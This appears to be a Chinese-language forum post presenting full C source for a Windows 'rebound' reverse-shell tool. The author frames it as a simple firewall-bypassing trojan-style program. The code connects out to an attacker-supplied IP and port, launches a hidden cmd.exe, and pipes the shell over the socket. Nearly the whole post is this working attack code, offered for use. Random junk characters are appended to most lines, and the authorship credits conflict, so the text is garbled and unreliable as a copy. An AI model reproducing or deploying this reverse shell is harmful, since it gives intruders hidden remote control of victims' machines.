这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 E>l~-PaZY
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/* ============================== 7uzkp&+:
Rebound port in Windows NT 9a8cRt6knO
By wind,2006/7 wI(M^8F_Mf
===============================*/ k:7(D_
#include (o`{uj{!
#include 6j
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#pragma comment(lib,"wsock32.lib") GSH>7!.#
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void OutputShell(); !qG7V:6
SOCKET sClient; $|8!BOx8t
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Jv^h\~*jH
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void main(int argc,char **argv) 9T<x&
{ EFz&N\2
WSADATA stWsaData; P&f7@MOV.P
int nRet; J{Q|mD=
SOCKADDR_IN stSaiClient,stSaiServer; ~@}Bi@*
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if(argc != 3) %7|9sQ:
{ `nu''B
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printf("Useage:\n\rRebound DestIP DestPort\n"); Ofs<EQ
return; $< JaLS
} } }59V&'t
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WSAStartup(MAKEWORD(2,2),&stWsaData); Zu7)gf
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /'/Xvm3
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stSaiClient.sin_family = AF_INET; LGn:c;
stSaiClient.sin_port = htons(0); n@)K #
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 'dn]rV0(C
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) kDsFR#w&`
{ \.-bZ$
printf("Bind Socket Failed!\n"); gw!vlwC&T
return; w(L4A0K[
} E 7{U|\
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stSaiServer.sin_family = AF_INET; ~A\GT$
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ;0Tx-8l
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); y+NN< EY@
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) o4Om}]Ti
{ c24dSNJg,
printf("Connect Error!"); d$1@4r
return; ,5h)x"s
} I`!<9OTBj
OutputShell(); 6^`1\
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} Vh4X%b$TV
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void OutputShell() H:V2[y8\
{ .:F%_dS D
char szBuff[1024]; 8]9%*2"!
SECURITY_ATTRIBUTES stSecurityAttributes; ;>Ib^ov
OSVERSIONINFO stOsversionInfo; @J/K-.r
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;
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STARTUPINFO stStartupInfo; "]}
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char *szShell; oG_~q
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PROCESS_INFORMATION stProcessInformation; %iQD /iT5
unsigned long lBytesRead; 8)_XJ"9)G
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); _z|65H
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Yo6*C
stSecurityAttributes.lpSecurityDescriptor = 0; |IzPgC
stSecurityAttributes.bInheritHandle = TRUE; gtppv6<Mj4
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 8.O8No:'&
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); I=`U7Bis"
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ;~m8;8)
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,s"^kFl
stStartupInfo.wShowWindow = SW_HIDE; #V~me
stStartupInfo.hStdInput = hReadPipe;
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 0Qf,@^zL*
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GetVersionEx(&stOsversionInfo); cK( C&NK
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switch(stOsversionInfo.dwPlatformId) I&x=;
{ *XIF)Q=<>
case 1: kaVxT_
szShell = "command.com"; ivJ@=pd)B
break; |v3T!
default: ;,%fE2c
szShell = "cmd.exe"; gCB |DY
break; k_rt&}e+Gi
} Sw ig;`
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 8p 'L#Q.
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send(sClient,szMsg,77,0); V17%=bCZ5[
while(1) iP ->S\
{ .WZ^5>M-
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .YAT:;L
if(lBytesRead) m[~y@7AK<
{ *k.G5>@
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )q8p k2
send(sClient,szBuff,lBytesRead,0); K0|FY=#2y
} 2*laAB
else #A JDWelD
{ 65JF`]
lBytesRead=recv(sClient,szBuff,1024,0); V]lLw)
if(lBytesRead<=0) break; KQ% GIz x
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 8Fz#A.%P
} z]_wjYn Z
} {EB;h\C
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return;
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}